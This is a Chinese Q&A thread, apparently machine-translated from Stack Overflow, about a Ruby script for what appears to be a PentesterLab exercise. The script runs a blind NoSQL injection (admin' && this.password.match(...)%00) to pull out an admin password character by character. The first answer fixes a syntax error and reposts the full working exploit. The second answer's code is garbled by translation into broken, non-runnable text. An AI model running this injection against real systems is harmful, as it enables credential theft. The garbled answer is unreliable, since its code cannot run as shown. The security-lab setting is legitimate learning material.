我正在执行一项任务,使用ruby从NoSQL数据库中检索更多信息。每次我运行代码时都会收到语法错误
require 'httparty'
URL="ptl-eb7cd0e0-778a277a.libcurl.so"
def check?(str)
resp = HTTParty.get("http://#{URL}/?
search=admin%27%20%26%26%20this.password.match(/#{str}/)%00")
return resp.body =~ />admin</
end
#puts check?("d").inspect
#puts check?("aaa").inspect
CHARSET = ('a'..'z').to_a+('0'..'9').to_a+['-']
password = ""
While true
CHARSET.each do |c|
puts "Trying: #{c} for #{password}"
test = password+c
if check?("^#{test}.*$")
password+=c
puts password
break
end
end
end
答案 0 :(得分:3)
有一个错字while
是关键字,需要小写。
require 'httparty'
URL = "ptl-eb7cd0e0-778a277a.libcurl.so"
def check?(str)
resp = HTTParty.get(
"http://#{URL}/?search=admin%27%20%26%26%20this.password.match(/#{str}/)%00"
)
return resp.body =~ />admin</
end
# puts check?("d").inspect
# puts check?("aaa").inspect
CHARSET = ('a'..'z').to_a + ('0'..'9').to_a + ['-']
password = ""
while true # `while` needs to be downcase
CHARSET.each do |c|
puts "Trying: #{c} for #{password}"
test = password + c
if check?("^#{test}.*$")
password += c
puts password
break
end
end
end
顺便说一句。适当的缩进和一些白色可以大大提高可读性。
答案 1 :(得分:0)
这是httparty gem的问题。 首先,安装相同。我也对代码做了一些更改。 代码正在运行,但仍未得到结果。
我进行了以下更改:
需要“ httparty”
def检查吗?(str) resp = HTTParty.get(URI.encode“ http://myurl/?search=admin%27%20%26%26%20this.password.match(#/ {str} /)%00”) return resp.body =〜/> admin
是否检查?(“ 5”)。检查 放支票?(“ aaa”)。inspect
建议使用URI.encode函数。 我仍然试图获得所需的输出。 希望我能得到结果。
您可以修改脚本或让我知道您是否成功运行了脚本。